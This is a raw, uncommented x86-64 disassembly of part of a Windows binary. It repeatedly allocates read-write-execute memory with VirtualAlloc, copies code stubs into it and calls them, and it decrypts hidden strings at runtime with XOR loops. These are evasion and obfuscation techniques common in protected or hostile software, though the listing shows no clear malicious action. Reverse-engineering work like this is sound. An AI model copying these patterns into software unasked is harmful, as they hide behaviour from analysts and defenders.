movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x30], r15
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402b3260]
test rax, rax
je 0x1401f15ff
xor edx, edx
lea r8, [0x140246380]
cmp rax, r8
je 0x1401f15ee
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b3260]
test rax, rax
jne 0x1401f15d6
jmp 0x1401f15ff
mov r8, qword [rbx + rdx*8 + 0x2b5860]
test r8, r8
jne 0x1401f16e6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f16be
lea rax, [0x140246380]
mov rcx, r8
mov rdx, rsi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f1630
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b3bd0]
lea rcx, [0x140246380]
mov qword [rbx + rax*8 + 0x2b3260], rcx
mov qword [rbx + rax*8 + 0x2b5860], r8
inc rax
mov qword [0x1402b3bd0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1c8]
mov qword [rax], r15
movups xmm0, xmmword [str.63_99o]
movups xmmword [rbp + 0x50], xmm0
movsd xmm0, qword [0x14029aa00]
movsd qword [rbp + 0x60], xmm0
mov eax, dword [0x14029aa08]
mov dword [rbp + 0x68], eax
movzx eax, word [0x14029aa0c]
mov word [rbp + 0x6c], ax
cmp byte [0x14029aa0d], 0
je 0x1401f19d2
xor r9d, r9d
cmp r12d, 2
jl 0x1401f1967
movdqa xmm10, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d8a0]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm11, xmmword [0x14029d8b0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x14029d7d0]
movdqa xmm0, xmmword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rbp + 0x30]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1401f17a0
cmp r9d, 0x1e
jge 0x1401f19d2
movsxd rax, r9d
lea r10, [rbp + 0x50]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x1401f1980
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x30], r15
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402b38b0]
test rax, rax
je 0x1401f1a49
xor edx, edx
lea r8, [0x140246350]
nop dword [rax]
cmp rax, r8
je 0x1401f1a38
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b38b0]
test rax, rax
jne 0x1401f1a20
jmp 0x1401f1a49
mov r8, qword [rbx + rdx*8 + 0x2b2f40]
test r8, r8
jne 0x1401f1b36
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f1b0e
lea rax, [0x140246350]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f1a80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b28c0]
lea rcx, [0x140246350]
mov qword [rbx + rax*8 + 0x2b38b0], rcx
mov qword [rbx + rax*8 + 0x2b2f40], r8
inc rax
mov qword [0x1402b28c0], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x1401ee790]
call r8
nop
mov dword [rsp + 0x20], 0x320
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x30], r15
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402b3260]
test rax, rax
je 0x1401f1baf
xor edx, edx
lea r8, [0x140246380]
cmp rax, r8
je 0x1401f1b9e
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b3260]
test rax, rax
jne 0x1401f1b86
jmp 0x1401f1baf
mov r8, qword [rbx + rdx*8 + 0x2b5860]
test r8, r8
jne 0x1401f1c96
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f1c6e
lea rax, [0x140246380]
mov rcx, r8
mov rdx, rsi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f1be0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b3bd0]
lea rcx, [0x140246380]
mov qword [rbx + rax*8 + 0x2b3260], rcx
mov qword [rbx + rax*8 + 0x2b5860], r8
inc rax
mov qword [0x1402b3bd0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1c8]
mov qword [rax], r15
mov rax, qword [str.___kb_qSut]
mov qword [rsp + 0x20], rax
cmp byte [0x140299d2f], 0
je 0x1401f1f12
cmp r12d, 2
jl 0x1401f1eb7
movdqa xmm7, xmmword [0x14029d8a0]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x14029d890]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x14029d7a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14029d8b0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14029d7d0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x20]
pxor xmm3, xmm1
movd dword [rsp + 0x20], xmm3
movdqa xmm5, xmmword [0x14029d7c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14029d8b0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14029d7d0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x24]
pxor xmm3, xmm1
movd dword [rsp + 0x24], xmm3
jmp 0x1401f1f12
lea r10, [rsp + 0x20]
xor r9d, r9d
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x1401f1ec0
lea r8, [rbp + 0x108]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.1402464e0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1401f1f33
mov rax, qword [rax]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x50], r15
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402b6830]
test rax, rax
je 0x1401f1f99
xor edx, edx
nop
cmp rax, r14
je 0x1401f1f88
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b6830]
test rax, rax
jne 0x1401f1f70
jmp 0x1401f1f99
mov r8, qword [rbx + rdx*8 + 0x2b4b80]
test r8, r8
jne 0x1401f207f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f205e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f1fd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b1e40]
mov qword [rbx + rax*8 + 0x2b6830], r14
mov qword [rbx + rax*8 + 0x2b4b80], r8
inc rax
mov qword [0x1402b1e40], rax
lea rdx, [rbp + 0x30]
lea rcx, [0x1401ee790]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1c8]
mov qword [rax], r15
lea rcx, [rsp + 0x28]
call fcn.140244140
movups xmm0, xmmword [str.7_.k_6_2yy]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x1402998a8]
movups xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [0x1402998b8]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1402998c8]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1402998d0]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1402998d4]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1402998d6]
mov byte [rsp + 0x66], al
xor r9d, r9d
cmp r12d, 2
jl 0x1401f2327
movdqa xmm10, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d8a0]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm11, xmmword [0x14029d8b0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x14029d7d0]
movdqa xmm0, xmmword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x2c]
mov edx, dword [rbp + 0x30]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401f2160
cmp r9d, 0x3f
jge 0x1401f2392
movsxd rax, r9d
lea r10, [rsp + 0x28]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401f2340
lea rax, [rsp + 0x28]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
lea r12, [rbp + 0x1c8]
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], r12
mov r14, qword [r12]
xor r14, rdi
mov qword [rbp + 0x50], r14
mov qword [r12], rax
xor ecx, ecx
mov rax, qword [0x1402b38b0]
lea r15, [0x140246350]
test rax, rax
je 0x1401f2409
xor edx, edx
nop dword [rax]
cmp rax, r15
je 0x1401f23f8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b38b0]
test rax, rax
jne 0x1401f23e0
jmp 0x1401f2409
mov r8, qword [rbx + rdx*8 + 0x2b2f40]
test r8, r8
jne 0x1401f24e1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f24c0
mov rax, r15
mov rcx, r8
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401f2432
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b28c0]
mov qword [rbx + rax*8 + 0x2b38b0], r15
mov qword [rbx + rax*8 + 0x2b2f40], r8
inc rax
mov qword [0x1402b28c0], rax
lea rdx, [rbp + 0x30]
lea rcx, [0x1401ee790]
call r8
nop
xor r14, rdi
mov qword [r12], r14
lea rcx, [rbp + 0x108]
call fcn.140244140
nop
xor rdi, r13
lea rax, [rbp + 0x1c8]
mov qword [rax], rdi
mov rcx, qword [rbp + 0x128]
xor rcx, rsp
call fcn.14026b460
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret